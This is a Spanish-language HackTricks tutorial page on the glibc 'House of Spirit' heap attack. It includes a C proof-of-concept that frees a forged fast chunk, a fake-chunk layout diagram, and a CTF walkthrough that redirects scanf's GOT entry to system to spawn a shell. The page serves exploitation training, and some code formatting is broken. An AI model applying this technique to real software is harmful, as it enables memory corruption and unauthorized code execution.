6.4 KiB
Casa del Espíritu
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el swag oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Información Básica
Código
Casa del Espíritu
```c #include #include #include #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Objetivo
* Ser capaz de agregar una dirección al tcache / fast bin para luego poder asignarla
### Requisitos
* Este ataque requiere que un atacante pueda crear un par de fragmentos rápidos falsos indicando correctamente el valor de su tamaño y luego ser capaz de liberar el primer fragmento falso para que entre en el bin.
### Ataque
* Crear fragmentos falsos que eviten las comprobaciones de seguridad: necesitarás 2 fragmentos falsos básicamente indicando en las posiciones correctas los tamaños correctos
* De alguna manera lograr liberar el primer fragmento falso para que entre en el bin rápido o tcache y luego asignarlo para sobrescribir esa dirección
**El código de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **es excelente para entender el ataque.** Aunque este esquema del código lo resume bastante bien:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
{% hint style="info" %} Ten en cuenta que es necesario crear el segundo chunk para evadir algunas comprobaciones de integridad. {% endhint %}
Ejemplos
- CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
- Libc infoleak: A través de un desbordamiento, es posible cambiar un puntero para que apunte a una dirección GOT con el fin de filtrar una dirección de libc a través de la acción de lectura del CTF.
- House of Spirit: Abusando de un contador que cuenta el número de "rifles", es posible generar un tamaño falso del primer chunk falso, luego abusando de un "mensaje", es posible falsificar el segundo tamaño de un chunk y finalmente abusando de un desbordamiento, es posible cambiar un puntero que va a ser liberado para que nuestro primer chunk falso sea liberado. Luego, podemos asignarlo y dentro de él estará la dirección donde se almacena el "mensaje". Luego, es posible hacer que esto apunte a la entrada
scanf
dentro de la tabla GOT, para que podamos sobrescribirla con la dirección a system.
La próxima vez que se llame ascanf
, podemos enviar la entrada"/bin/sh"
y obtener una shell.
Referencias
Aprende a hackear AWS desde cero hasta convertirte en un héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.